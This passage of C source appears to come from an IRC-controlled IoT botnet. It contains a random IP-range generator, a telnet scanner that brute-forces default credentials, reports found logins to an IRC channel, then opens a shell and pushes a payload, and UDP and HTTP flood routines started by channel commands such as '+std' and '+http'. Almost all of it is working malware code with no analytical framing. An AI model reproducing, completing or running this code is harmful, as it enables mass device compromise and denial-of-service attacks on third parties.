  933. szprintf(ip, "113.169.%d.%d", ipState[3], ipState[4]);
  934. }
  935. if(randnum == 107)
  936. {
  937. szprintf(ip, "123.17.%d.%d", ipState[3], ipState[4]);
  938. }
  939. if(randnum == 108)
  940. {
  941. szprintf(ip, "123.18.%d.%d", ipState[3], ipState[4]);
  942. }
  943. if(randnum == 109)
  944. {
  945. szprintf(ip, "123.19.%d.%d", ipState[3], ipState[4]);
  946. }
  947. if(randnum == 110)
  948. {
  949. szprintf(ip, "123.20.%d.%d", ipState[3], ipState[4]);
  950. }
  951. if(randnum == 111)
  952. {
  953. szprintf(ip, "123.21.%d.%d", ipState[3], ipState[4]);
  954. }
  955. if(randnum == 112)
  956. {
  957. szprintf(ip, "123.22.%d.%d", ipState[3], ipState[4]);
  958. }
  959. if(randnum == 113)
  960. {
  961. szprintf(ip, "222.252.%d.%d", ipState[3], ipState[4]);
  962. }
  963. if(randnum == 114)
  964. {
  965. szprintf(ip, "222.253.%d.%d", ipState[3], ipState[4]);
  966. }
  967. if(randnum == 115)
  968. {
  969. szprintf(ip, "222.254.%d.%d", ipState[3], ipState[4]);
  970. }
  971. if(randnum == 116)
  972. {
  973. szprintf(ip, "222.255.%d.%d", ipState[3], ipState[4]);
  974. }
  975. if(randnum == 117)
  976. {
  977. szprintf(ip, "37.247.%d.%d", ipState[3], ipState[4]);
  978. }
  979. if(randnum == 118)
  980. {
  981. szprintf(ip, "41.208.%d.%d", ipState[3], ipState[4]);
  982. }
  983. if(randnum == 119)
  984. {
  985. szprintf(ip, "183.220.%d.%d", ipState[3], ipState[4]);
  986. }
  987. if(randnum == 120)
  988. {
  989. szprintf(ip, "49.147.%d.%d", ipState[3], ipState[4]);
  990. }
  991. if(randnum == 121)
  992. {
  993. szprintf(ip, "103.198.%d.%d", ipState[3], ipState[4]);
  994. }
  995. if(randnum == 122)
  996. {
  997. szprintf(ip, "183.223.%d.%d", ipState[3], ipState[4]);
  998. }
  999. if(randnum == 123)
  1000. {
  1001. szprintf(ip, "49.148.%d.%d", ipState[3], ipState[4]);
  1002. }
  1003. if(randnum == 124)
  1004. {
  1005. szprintf(ip, "88.248.%d.%d", ipState[3], ipState[4]);
  1006. }
  1007. if(randnum == 125)
  1008. {
  1009. szprintf(ip, "88.105.%d.%d", ipState[3], ipState[4]);
  1010. }
  1011. if(randnum == 126)
  1012. {
  1013. szprintf(ip, "88.247.%d.%d", ipState[3], ipState[4]);
  1014. }
  1015. if(randnum == 127)
  1016. {
  1017. szprintf(ip, "85.105.%d.%d", ipState[3], ipState[4]);
  1018. }
  1019. if(randnum == 128)
  1020. {
  1021. szprintf(ip, "188.3.%d.%d", ipState[3], ipState[4]);
  1022. }
  1023. if(randnum == 129)
  1024. {
  1025. szprintf(ip, "103.203.%d.%d", ipState[3], ipState[4]);
  1026. }
  1027. if(randnum == 130)
  1028. {
  1029. szprintf(ip, "103.55.%d.%d", ipState[3], ipState[4]);
  1030. }
  1031. if(randnum == 131)
  1032. {
  1033. szprintf(ip, "103.220.%d.%d", ipState[3], ipState[4]);
  1034. }
  1035. if(randnum == 132)
  1036. {
  1037. szprintf(ip, "183.233.%d.%d", ipState[3], ipState[4]);
  1038. }
  1039. if(randnum == 133)
  1040. {
  1041. szprintf(ip, "103.242.%d.%d", ipState[3], ipState[4]);
  1042. }
  1043. if(randnum == 134)
  1044. {
  1045. szprintf(ip, "103.198.%d.%d", ipState[3], ipState[4]);
  1046. }
  1047. if(randnum == 135)
  1048. {
  1049. szprintf(ip, "103.14.%d.%d", ipState[3], ipState[4]);
  1050. }
  1051. if(randnum == 136)
  1052. {
  1053. szprintf(ip, "103.195.%d.%d", ipState[3], ipState[4]);
  1054. }
  1055. if(randnum == 137)
  1056. {
  1057. szprintf(ip, "103.203.%d.%d", ipState[3], ipState[4]);
  1058. }
  1059. if(randnum == 138)
  1060. {
  1061. szprintf(ip, "103.214.%d.%d", ipState[3], ipState[4]);
  1062. }
  1063. if(randnum == 139)
  1064. {
  1065. szprintf(ip, "103.218.%d.%d", ipState[3], ipState[4]);
  1066. }
  1067. if(randnum == 140)
  1068. {
  1069. szprintf(ip, "103.218.%d.%d", ipState[3], ipState[4]);
  1070. }
  1071. if(randnum == 141)
  1072. {
  1073. szprintf(ip, "103.225.%d.%d", ipState[3], ipState[4]);
  1074. }
  1075. if(randnum == 142)
  1076. {
  1077. szprintf(ip, "103.228.%d.%d", ipState[3], ipState[4]);
  1078. }
  1079. if(randnum == 143)
  1080. {
  1081. szprintf(ip, "103.231.%d.%d", ipState[3], ipState[4]);
  1082. }
  1083. if(randnum == 144)
  1084. {
  1085. szprintf(ip, "103.60.%d.%d", ipState[3], ipState[4]);
  1086. }
  1087. if(randnum == 145)
  1088. {
  1089. szprintf(ip, "103.248.%d.%d", ipState[3], ipState[4]);
  1090. }
  1091. if(randnum == 146)
  1092. {
  1093. szprintf(ip, "103.253.%d.%d", ipState[3], ipState[4]);
  1094. }
  1095. if(randnum == 147)
  1096. {
  1097. szprintf(ip, "103.255.%d.%d", ipState[3], ipState[4]);
  1098. }
  1099. if(randnum == 148)
  1100. {
  1101. szprintf(ip, "103.35.%d.%d", ipState[3], ipState[4]);
  1102. }
  1103. if(randnum == 149)
  1104. {
  1105. szprintf(ip, "103.49.%d.%d", ipState[3], ipState[4]);
  1106. }
  1107. if(randnum == 150)
  1108. {
  1109. szprintf(ip, "103.62.%d.%d", ipState[3], ipState[4]);
  1110. }
  1111. if(randnum == 151)
  1112. {
  1113. szprintf(ip, "144.48.%d.%d", ipState[3], ipState[4]);
  1114. }
  1115. if(randnum == 152)
  1116. {
  1117. szprintf(ip, "49.149.%d.%d", ipState[3], ipState[4]);
  1118. }
  1119. if(randnum == 153)
  1120. {
  1121. szprintf(ip, "58.69.%d.%d", ipState[3], ipState[4]);
  1122. }
  1123. if(randnum == 154)
  1124. {
  1125. szprintf(ip, "223.29.%d.%d", ipState[3], ipState[4]);
  1126. }
  1127. if(randnum == 155)
  1128. {
  1129. szprintf(ip, "59.153.%d.%d", ipState[3], ipState[4]);
  1130. }
  1131. if(randnum == 156)
  1132. {
  1133. szprintf(ip, "113.176.%d.%d", ipState[3], ipState[4]);
  1134. }
  1135. if(randnum == 157)
  1136. {
  1137. szprintf(ip, "113.175.%d.%d", ipState[3], ipState[4]);
  1138. }
  1139. if(randnum == 158)
  1140. {
  1141. szprintf(ip, "113.177.%d.%d", ipState[3], ipState[4]);
  1142. }
  1143. if(randnum == 159)
  1144. {
  1145. szprintf(ip, "113.183.%d.%d", ipState[3], ipState[4]);
  1146. }
  1147. if(randnum == 160)
  1148. {
  1149. szprintf(ip, "202.164.%d.%d", ipState[3], ipState[4]);
  1150. }
  1151. if(randnum == 161)
  1152. {
  1153. szprintf(ip, "203.134.%d.%d", ipState[3], ipState[4]);
  1154. }
  1155. if(randnum == 162)
  1156. {
  1157. szprintf(ip, "210.56.%d.%d", ipState[3], ipState[4]);
  1158. }
  1159. if(randnum == 163)
  1160. {
  1161. szprintf(ip, "49.156.%d.%d", ipState[3], ipState[4]);
  1162. }
  1163. if(randnum == 164)
  1164. {
  1165. szprintf(ip, "203.210.%d.%d", ipState[3], ipState[4]);
  1166. }
  1167. if(randnum == 165)
  1168. {
  1169. szprintf(ip, "117.181.%d.%d", ipState[3], ipState[4]);
  1170. }
  1171. if(randnum == 166)
  1172. {
  1173. szprintf(ip, "117.178.%d.%d", ipState[3], ipState[4]);
  1174. }
  1175. if(randnum == 167)
  1176. {
  1177. szprintf(ip, "117.177.%d.%d", ipState[3], ipState[4]);
  1178. }
  1179. if(randnum == 168)
  1180. {
  1181. szprintf(ip, "117.176.%d.%d", ipState[3], ipState[4]);
  1182. }
  1183. if(randnum == 169)
  1184. {
  1185. szprintf(ip, "117.170.%d.%d", ipState[3], ipState[4]);
  1186. }
  1187. if(randnum == 170)
  1188. {
  1189. szprintf(ip, "117.171.%d.%d", ipState[3], ipState[4]);
  1190. }
  1191. if(randnum == 171)
  1192. {
  1193. szprintf(ip, "117.162.%d.%d", ipState[3], ipState[4]);
  1194. }
  1195. if(randnum == 172)
  1196. {
  1197. szprintf(ip, "112.26.%d.%d", ipState[3], ipState[4]);
  1198. }
  1199. if(randnum == 173)
  1200. {
  1201. szprintf(ip, "112.27.%d.%d", ipState[3], ipState[4]);
  1202. }
  1203. if(randnum == 174)
  1204. {
  1205. szprintf(ip, "112.28.%d.%d", ipState[3], ipState[4]);
  1206. }
  1207. if(randnum == 175)
  1208. {
  1209. szprintf(ip, "112.29.%d.%d", ipState[3], ipState[4]);
  1210. }
  1211. if(randnum == 176)
  1212. {
  1213. szprintf(ip, "112.30.%d.%d", ipState[3], ipState[4]);
  1214. }
  1215. if(randnum == 177)
  1216. {
  1217. szprintf(ip, "112.31.%d.%d", ipState[3], ipState[4]);
  1218. }
  1219. if(randnum == 178)
  1220. {
  1221. szprintf(ip, "203.150.%d.%d", ipState[3], ipState[4]);
  1222. }
  1223. if(randnum == 179)
  1224. {
  1225. szprintf(ip, "76.9.%d.%d", ipState[3], ipState[4]);
  1226. }
  1227. if(randnum == 180)
  1228. {
  1229. szprintf(ip, "103.82.%d.%d", ipState[3], ipState[4]);
  1230. }
  1231. if(randnum == 181)
  1232. {
  1233. szprintf(ip, "27.124.%d.%d", ipState[3], ipState[4]);
  1234. }
  1235. if(randnum == 182)
  1236. {
  1237. szprintf(ip, "112.200.%d.%d", ipState[3], ipState[4]);
  1238. }
  1239. if(randnum == 183)
  1240. {
  1241. szprintf(ip, "112.201.%d.%d", ipState[3], ipState[4]);
  1242. }
  1243. if(randnum == 184)
  1244. {
  1245. szprintf(ip, "112.202.%d.%d", ipState[3], ipState[4]);
  1246. }
  1247. if(randnum == 185)
  1248. {
  1249. szprintf(ip, "112.203.%d.%d", ipState[3], ipState[4]);
  1250. }
  1251. if(randnum == 186)
  1252. {
  1253. szprintf(ip, "112.204.%d.%d", ipState[3], ipState[4]);
  1254. }
  1255. if(randnum == 187)
  1256. {
  1257. szprintf(ip, "112.205.%d.%d", ipState[3], ipState[4]);
  1258. }
  1259. if(randnum == 188)
  1260. {
  1261. szprintf(ip, "112.206.%d.%d", ipState[3], ipState[4]);
  1262. }
  1263. if(randnum == 189)
  1264. {
  1265. szprintf(ip, "112.207.%d.%d", ipState[3], ipState[4]);
  1266. }
  1267. if(randnum == 190)
  1268. {
  1269. szprintf(ip, "112.208.%d.%d", ipState[3], ipState[4]);
  1270. }
  1271. if(randnum == 191)
  1272. {
  1273. szprintf(ip, "112.209.%d.%d", ipState[3], ipState[4]);
  1274. }
  1275. if(randnum == 192)
  1276. {
  1277. szprintf(ip, "112.210.%d.%d", ipState[3], ipState[4]);
  1278. }
  1279. if(randnum == 193)
  1280. {
  1281. szprintf(ip, "112.%d.%d.%d", ipState[3], ipState[4]);
  1282. }
  1283. if(randnum == 194)
  1284. {
  1285. szprintf(ip, "114.%d.%d.%d", ipState[2], ipState[3], ipState[4]);
  1286. }
  1287. if(randnum == 195)
  1288. {
  1289. szprintf(ip, "115.%d.%d.%d", ipState[2], ipState[3], ipState[4]);
  1290. }
  1291. if(randnum == 196)
  1292. {
  1293. szprintf(ip, "117.%d.%d.%d", ipState[2], ipState[3], ipState[4]);
  1294. }
  1295. if(randnum == 197)
  1296. {
  1297. szprintf(ip, "1.%d.%d.%d", ipState[2], ipState[3], ipState[4]);
  1298. }
  1299. if(randnum == 198)
  1300. {
  1301. szprintf(ip, "111.%d.%d.%d", ipState[2], ipState[3], ipState[4]);
  1302. }
  1303. if(randnum == 199)
  1304. {
  1305. szprintf(ip, "116.%d.%d.%d", ipState[2], ipState[3], ipState[4]);
  1306. }
  1307. if(randnum == 200)
  1308. {
  1309. szprintf(ip, "78.189.%d.%d", ipState[3], ipState[4]);
  1310. }
  1311. if(randnum == 201)
  1312. {
  1313. szprintf(ip, "78.180.%d.%d", ipState[3], ipState[4]);
  1314. }
  1315. if(randnum == 202)
  1316. {
  1317. szprintf(ip, "78.181.%d.%d", ipState[3], ipState[4]);
  1318. }
  1319. if(randnum == 203)
  1320. {
  1321. szprintf(ip, "78.182.%d.%d", ipState[3], ipState[4]);
  1322. }
  1323. if(randnum == 204)
  1324. {
  1325. szprintf(ip, "78.183.%d.%d", ipState[3], ipState[4]);
  1326. }
  1327. if(randnum == 205)
  1328. {
  1329. szprintf(ip, "78.184.%d.%d", ipState[3], ipState[4]);
  1330. }
  1331. if(randnum == 206)
  1332. {
  1333. szprintf(ip, "78.185.%d.%d", ipState[3], ipState[4]);
  1334. }
  1335. if(randnum == 207)
  1336. {
  1337. szprintf(ip, "95.6.%d.%d", ipState[3], ipState[4]);
  1338. }
  1339. if(randnum == 208)
  1340. {
  1341. szprintf(ip, "78.162.%d.%d", ipState[3], ipState[4]);
  1342. }
  1343. if(randnum == 209)
  1344. {
  1345. szprintf(ip, "78.160.%d.%d", ipState[3], ipState[4]);
  1346. }
  1347. if(randnum == 210)
  1348. {
  1349. szprintf(ip, "85.101.%d.%d", ipState[3], ipState[4]);
  1350. }
  1351. if(randnum == 211)
  1352. {
  1353. szprintf(ip, "88.224.%d.%d", ipState[3], ipState[4]);
  1354. }
  1355. if(randnum == 212)
  1356. {
  1357. szprintf(ip, "88.226.%d.%d", ipState[3], ipState[4]);
  1358. }
  1359. if(randnum == 213)
  1360. {
  1361. szprintf(ip, "88.228.%d.%d", ipState[3], ipState[4]);
  1362. }
  1363. if(randnum == 214)
  1364. {
  1365. szprintf(ip, "212.156.%d.%d", ipState[3], ipState[4]);
  1366. }
  1367. if(randnum == 215)
  1368. {
  1369. szprintf(ip, "88.233.%d.%d", ipState[3], ipState[4]);
  1370. }
  1371.  
  1372. return inet_addr(ip);
  1373. }
  1374.  
  1375. struct telstate_t
  1376. {
  1377. int fd;
  1378. unsigned int ip;
  1379. unsigned char state;
  1380. unsigned char complete;
  1381. unsigned char usernameInd;
  1382. unsigned char passwordInd;
  1383. unsigned char tempDirInd;
  1384. unsigned int totalTimeout;
  1385. unsigned short bufUsed;
  1386. char *sockbuf;
  1387. };
  1388. const char* get_telstate_host(struct telstate_t* telstate)
  1389. {
  1390. struct in_addr in_addr_ip;
  1391. in_addr_ip.s_addr = telstate->ip;
  1392. return inet_ntoa(in_addr_ip);
  1393. }
  1394. int read_until_response(int fd, int timeout_usec, char* buffer, int buf_size, char **strings)
  1395. {
  1396. int num_bytes, i;
  1397. memset(buffer, 0, buf_size);
  1398. num_bytes = read_with_timeout(fd, timeout_usec, buffer, buf_size);
  1399. if(buffer[0] == 0xFF)
  1400. {
  1401. negotiate(fd, buffer, 3);
  1402. }
  1403. if(contains_string(buffer, strings))
  1404. {
  1405. return 1;
  1406. }
  1407. return 0;
  1408. }
  1409. int read_with_timeout(int fd, int timeout_usec, char* buffer, int buf_size)
  1410. {
  1411. fd_set read_set;
  1412. struct timeval tv;
  1413. tv.tv_sec = 0;
  1414. tv.tv_usec = timeout_usec;
  1415. FD_ZERO(&read_set);
  1416. FD_SET(fd, &read_set);
  1417. if (select(fd+1, &read_set, NULL, NULL, &tv) < 1)
  1418. return 0;
  1419. return recv(fd, buffer, buf_size, 0);
  1420. }
  1421. int contains_fail(char* buffer)
  1422. {
  1423. return contains_string(buffer, fails);
  1424. }
  1425. int contains_string(char* buffer, char** strings)
  1426. {
  1427. int num_strings = 0, i = 0;
  1428. for(num_strings = 0; strings[++num_strings] != 0; );
  1429. for(i = 0; i < num_strings; i++)
  1430. {
  1431. if(strcasestr(buffer, strings[i]))
  1432. {
  1433. return 1;
  1434. }
  1435. }
  1436. return 0;
  1437. }
  1438. int contains_success(char* buffer)
  1439. {
  1440. return contains_string(buffer, successes);
  1441. }
  1442. void StartTheLelz() {
  1443. Send(sock,"PRIVMSG %s :Starting Scanner.\n",chan);
  1444. int i, res, j, wait_usec = 10, max = 512;
  1445. char buf[128], cur_dir;
  1446. fd_set fdset;
  1447. struct timeval tv;
  1448. socklen_t lon;
  1449. srand(time(NULL) ^ rand_cmwc());
  1450. int valopt;
  1451. char line[256];
  1452. char* buffer;
  1453. struct sockaddr_in dest_addr;
  1454. dest_addr.sin_family = AF_INET;
  1455. dest_addr.sin_port = htons(23);
  1456. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1457. buffer = malloc(512 + 1);
  1458. memset(buffer, 0, 512 + 1);
  1459. struct telstate_t fds[max];
  1460. memset(fds, 0, max * (sizeof(int) + 1));
  1461. for(i = 0; i < max; i++) {
  1462. memset(&(fds[i]), 0, sizeof(struct telstate_t));
  1463. fds[i].complete = 1;
  1464. fds[i].sockbuf = buffer; }
  1465. while(1) {
  1466. for(i = 0; i < max; i++) {
  1467. if(fds[i].totalTimeout == 0) {
  1468. fds[i].totalTimeout = time(NULL); }
  1469. switch(fds[i].state) {
  1470. case 0: {
  1471. if(fds[i].complete == 1) {
  1472. char *tmp = fds[i].sockbuf;
  1473. memset(&(fds[i]), 0, sizeof(struct telstate_t));
  1474. fds[i].sockbuf = tmp;
  1475. fds[i].ip = HackerScan2(); }
  1476. else if(fds[i].complete == 0) {
  1477. fds[i].passwordInd++;
  1478. fds[i].usernameInd++;
  1479. if(fds[i].passwordInd == sizeof(passwords) / sizeof(char *)) {
  1480. fds[i].complete = 1;
  1481. continue; }
  1482. if(fds[i].usernameInd == sizeof(usernames) / sizeof(char *)) {
  1483. fds[i].complete = 1;
  1484. continue;
  1485. }
  1486. }
  1487. dest_addr.sin_family = AF_INET;
  1488. dest_addr.sin_port = htons(23);
  1489. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1490. dest_addr.sin_addr.s_addr = fds[i].ip;
  1491. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  1492. if(fds[i].fd == -1) continue;
  1493. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  1494. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) {
  1495. sclose(fds[i].fd);
  1496. fds[i].complete = 1; }
  1497. else {
  1498. fds[i].state = 1;
  1499. fds[i].totalTimeout = 0;
  1500. }
  1501. }
  1502. break;
  1503. case 1:
  1504. {
  1505. FD_ZERO(&fdset);
  1506. FD_SET(fds[i].fd, &fdset);
  1507. tv.tv_sec = 0;
  1508. tv.tv_usec = wait_usec;
  1509. res = select(fds[i].fd+1, NULL, &fdset, NULL, &tv);
  1510. if(res == 1) {
  1511. lon = sizeof(int);
  1512. valopt = 0;
  1513. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  1514. if(valopt) {
  1515. sclose(fds[i].fd);
  1516. fds[i].state = 0;
  1517. fds[i].complete = 1;
  1518. } else {
  1519. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
  1520. fds[i].totalTimeout = 0;
  1521. fds[i].bufUsed = 0;
  1522. memset(fds[i].sockbuf, 0, 1024);
  1523. fds[i].state = 2;
  1524. } continue; }
  1525. else if(res == -1) {
  1526. sclose(fds[i].fd);
  1527. fds[i].state = 0;
  1528. fds[i].complete = 1;
  1529. continue; }
  1530. if(fds[i].totalTimeout + 6 < time(NULL)) {
  1531. sclose(fds[i].fd);
  1532. fds[i].state = 0;
  1533. fds[i].complete = 1;
  1534. }
  1535. }
  1536. break;
  1537. case 2:
  1538. {
  1539. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, 512, advances)) {
  1540. if(contains_fail(fds[i].sockbuf)) {
  1541. fds[i].state = 0;
  1542. } else {
  1543. fds[i].state = 3; }
  1544. continue; }
  1545. if(fds[i].totalTimeout + 6 < time(NULL)) {
  1546. fds[i].state = 0;
  1547. fds[i].complete = 1;
  1548. }
  1549. }
  1550. break;
  1551. case 3: {
  1552. if(send(fds[i].fd, usernames[fds[i].usernameInd], strlen(usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0) {
  1553. fds[i].state = 0;
  1554. fds[i].complete = 1;
  1555. continue; }
  1556. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) {
  1557. fds[i].state = 0;
  1558. fds[i].complete = 1;
  1559. continue; }
  1560. fds[i].state = 4; }
  1561. break;
  1562. case 4:
  1563. {
  1564. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, 512, advances))
  1565. {
  1566. if(contains_fail(fds[i].sockbuf)) {
  1567. fds[i].state = 0;
  1568. } else {
  1569. fds[i].state = 5; }
  1570. continue; }
  1571. if(fds[i].totalTimeout + 6 < time(NULL)) {
  1572. fds[i].state = 0;
  1573. fds[i].complete = 1;
  1574. }
  1575. }
  1576. break;
  1577. case 5:
  1578. {
  1579. if(send(fds[i].fd, passwords[fds[i].passwordInd], strlen(passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0) {
  1580. fds[i].state = 0;
  1581. fds[i].complete = 1;
  1582. continue; }
  1583. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) {
  1584. fds[i].state = 0;
  1585. fds[i].complete = 1;
  1586. continue; }
  1587. fds[i].state = 6;
  1588. }
  1589. break;
  1590. case 6:
  1591. {
  1592. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, 512, advances2)) {
  1593. fds[i].totalTimeout = time(NULL);
  1594. if(contains_fail(fds[i].sockbuf)) {
  1595. fds[i].state = 0; }
  1596. else if(contains_success(fds[i].sockbuf)) {
  1597. if(fds[i].complete == 2) {
  1598. fds[i].state = 7; }
  1599. else {
  1600. Send(sock,"PRIVMSG %s :Found Login %s:%s:%s\n",chan, get_telstate_host(&fds[i]), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  1601. fds[i].state = 7; }
  1602. } else {
  1603. fds[i].state = 0;
  1604. fds[i].complete = 1;
  1605. } continue; }
  1606. if(fds[i].totalTimeout + 7 < time(NULL)) {
  1607. fds[i].state = 0;
  1608. fds[i].complete = 1;
  1609. }
  1610. }
  1611. break;
  1612. case 7: {
  1613. if(send(fds[i].fd, "sh\r\n", 4, MSG_NOSIGNAL) < 0) {
  1614. fds[i].state = 0;
  1615. fds[i].complete = 1;
  1616. continue; }
  1617. fds[i].state = 8;
  1618. }
  1619. break;
  1620. case 8: {
  1621. fds[i].totalTimeout = time(NULL);
  1622. if(send(fds[i].fd, payload, strlen(payload), MSG_NOSIGNAL) < 0) {
  1623. sclose(fds[i].fd);
  1624. fds[i].state = 0;
  1625. fds[i].complete = 1;
  1626. continue; }
  1627. fds[i].complete = 3;
  1628. if(fds[i].totalTimeout + 60 < time(NULL)) {
  1629. if(fds[i].complete !=3){
  1630. }
  1631. fds[i].state = 0;
  1632. fds[i].complete = 1;
  1633. }
  1634. break;
  1635. }
  1636. }
  1637. }
  1638. }
  1639. }
  1640. void scanneroff() {
  1641. if(scanPid == 0) return;
  1642. kill(scanPid, 9);
  1643. scanPid = 0;
  1644. }
  1645. void scanneron() {
  1646. if(scanPid != 0) return;
  1647. uint32_t parent;
  1648. parent = fork();
  1649. if (parent > 0) { scanPid = parent; return;}
  1650. else if(parent == -1) return;
  1651.  
  1652. StartTheLelz();
  1653. exit(0);
  1654. }
  1655. void stop(int sock, char *sender, int argc, char **argv){
  1656. unsigned long i;
  1657. for (i=0;i<numpids;i++) {
  1658. if (pids[i] != 0 && pids[i] != getpid()) {
  1659. if (sender) Send(sock,"PRIVMSG %s :Killing pid %d.\n",chan,pids[i]);
  1660. kill(pids[i],9);
  1661. }
  1662. }
  1663. }
  1664.  
  1665. //STD Attack
  1666. void std(int sock, char *sender, int argc, char **argv) {
  1667. if (mfork(sender) != 0) return;
  1668. unsigned long secs;
  1669. int iSTD_Sock;
  1670. iSTD_Sock = socket(AF_INET, SOCK_DGRAM, 0);
  1671. time_t start = time(NULL);
  1672. secs = atol(argv[3]);
  1673. Send(sock,"PRIVMSG %s :[STD]Hitting %s!\n",chan,argv[1]);
  1674. struct sockaddr_in sin;
  1675. struct hostent *hp;
  1676. hp = gethostbyname(argv[1]);
  1677. bzero((char*) &sin,sizeof(sin));
  1678. bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
  1679. sin.sin_family = hp->h_addrtype;
  1680. sin.sin_port = atol(argv[2]);
  1681. unsigned int a = 0;
  1682. while(1){
  1683. if (a >= 50)
  1684. {
  1685. char *hacken = makestring();
  1686. send(iSTD_Sock, hacken, 55, 0);
  1687. connect(iSTD_Sock,(struct sockaddr *) &sin, sizeof(sin));
  1688. if (time(NULL) >= start + secs)
  1689. {
  1690. Send(sock, "PRIVMSG %s :[STD]Done hitting %s!\n", chan, argv[1]);
  1691. close(iSTD_Sock);
  1692. exit(0);
  1693. }
  1694. a = 0;
  1695. }
  1696. a++;
  1697. }
  1698. }
  1699.  
  1700.  
  1701. void sendHTTP(char *method, char *host, in_port_t port, char *path, int timeEnd, int power)
  1702. {
  1703. int socket, i, end = time(NULL) + timeEnd, sendIP = 0;
  1704. char request[512], buffer[1];
  1705. for (i = 0; i < power; i++)
  1706. {
  1707. sprintf(request, "%s %s HTTP/1.1\r\nHost: %s\r\nUser-Agent: %s\r\nConnection: close\r\n\r\n", method, path, host, useragents[(rand() % 15)]);
  1708. if (fork())
  1709. {
  1710. while (end > time(NULL))
  1711. {
  1712. socket = socket_connect(host, port);
  1713. if (socket != 0)
  1714. {
  1715. write(socket, request, strlen(request));
  1716. read(socket, buffer, 1);
  1717. close(socket);
  1718. }
  1719. }
  1720. exit(0);
  1721. }
  1722. }
  1723. }
  1724.  
  1725. void http(int sock, char *sender, int argc, char **argv) {
  1726. if (mfork(sender) != 0)
  1727. Send(sock,"NOTICE %s :SL7 %s Flooding %s:%s for %s second(s)\n",sender,argv[1],argv[2],argv[3],argv[5]);
  1728. sendHTTP(argv[1], argv[2], atoi(argv[3]), argv[4], atoi(argv[5]), atoi(argv[6]));
  1729. exit(0);
  1730. }
  1731.  
  1732. //Kill the bot
  1733. void killsec(int sock, char *sender, int argc, char **argv) {
  1734.  
  1735. if(strcasecmp(adminuser1,sender) == 0){
  1736.  
  1737. kill(0,9);
  1738.  
  1739. } else {
  1740.  
  1741. Send(sock,"PRIVMSG %s :Nice try...\n", chan);
  1742.  
  1743. }
  1744. }
  1745.  
  1746. struct FMessages { char *cmd; void (* func)(int,char *,int,char **); } flooders[] = {
  1747. { "+std", std },
  1748. { "+http", http },
  1749. { "+stop", stop },
  1750. { "+scanner", scanneron },
  1751. { "+stopscan", scanneroff },
  1752. { "+killboats", killsec },
  1753. { (char *)0, (void (*)(int,char *,int,char **))0 } };
  1754.  
  1755. void _PRIVMSG(int sock, char *sender, char *str) {
  1756. int i;
  1757. char *to, *message;
  1758.  
  1759. for (i=0;i<strlen(str) && str[i] != ' ';i++);
  1760. str[i]=0;
  1761. to=str;
  1762. message=str+i+2;
  1763. for (i=0;i<strlen(sender) && sender[i] != '!';i++);
  1764. sender[i]=0;
  1765. if (*message == '>' && !strcasecmp(to,chan)) {
  1766. char *params[12], name[1024]={0};
  1767. int num_params=0, m;
  1768. message++;
  1769. for (i=0;i<strlen(message) && message[i] != ' ';i++);
  1770. message[i]=0;
  1771. if (strwildmatch(message,nick)) return;
  1772. message+=i+1;
  1773. m=strlen(message);
  1774. for (i=0;i<m;i++) {
  1775. if (*message == ' ' || *message == 0) break;
  1776. name[i]=*message;
  1777. message++;
  1778. }
  1779. for (i=0;i<strlen(message);i++) if (message[i] == ' ') num_params++;
  1780. num_params++;
  1781. if (num_params > 10) num_params=10;
  1782. params[0]=name;
  1783. params[num_params+1]="\0";
  1784. m=1;
  1785. while (*message != 0) {
  1786. message++;
  1787. if (m >= num_params) break;
  1788. for (i=0;i<strlen(message) && message[i] != ' ';i++);
  1789. params[m]=(char*)malloc(i+1);
  1790. strncpy(params[m],message,i);
  1791. params[m][i]=0;
  1792. m++;
  1793. message+=i;
  1794. }
  1795. for (m=0; flooders[m].cmd != (char *)0; m++) {
  1796. if (!strcasecmp(flooders[m].cmd,name)) {
  1797. flooders[m].func(sock,sender,num_params-1,params);
  1798. for (i=1;i<num_params;i++) free(params[i]);
  1799. return;
  1800. }
  1801. }
  1802. }
  1803. }
  1804. void _376(int sock, char *sender, char *str) {
  1805. Send(sock,"MODE %s +pixB\n",nick);
  1806. Send(sock,"JOIN %s :%s\n",chan,key);
  1807. Send(sock,"WHO %s\n",nick);
  1808. }
  1809. void _PING(int sock, char *sender, char *str) {
  1810.  
  1811. Send(sock,"PONG %s\n",str);
  1812.  
  1813. }
  1814.  
  1815. void _352(int sock, char *sender, char *str) {
  1816. int i,d;
  1817. char *msg=str;
  1818. struct hostent *hostm;
  1819. unsigned long m;
  1820. for (i=0,d=0;d<5;d++) {
  1821. for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++;
  1822. if (i == strlen(str)) return;
  1823. }
  1824. for (i=0;i<strlen(msg) && msg[i] != ' ';i++);
  1825. msg[i]=0;
  1826. if (!strcasecmp(msg,nick) && !spoofsm) {
  1827. msg=str;
  1828. for (i=0,d=0;d<3;d++) {
  1829. for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++;
  1830. if (i == strlen(str)) return;
  1831. }
  1832. for (i=0;i<strlen(msg) && msg[i] != ' ';i++);
  1833. msg[i]=0;
  1834. if ((m = inet_addr(msg)) == -1) {
  1835. if ((hostm=gethostbyname(msg)) == NULL) {
  1836. return;
  1837. }
  1838. memcpy((char*)&m, hostm->h_addr, hostm->h_length);
  1839. }
  1840. ((char*)&spoofs)[3]=((char*)&m)[0];
  1841. ((char*)&spoofs)[2]=((char*)&m)[1];
  1842. ((char*)&spoofs)[1]=((char*)&m)[2];
  1843. ((char*)&spoofs)[0]=0;
  1844. spoofsm=256;
  1845. }
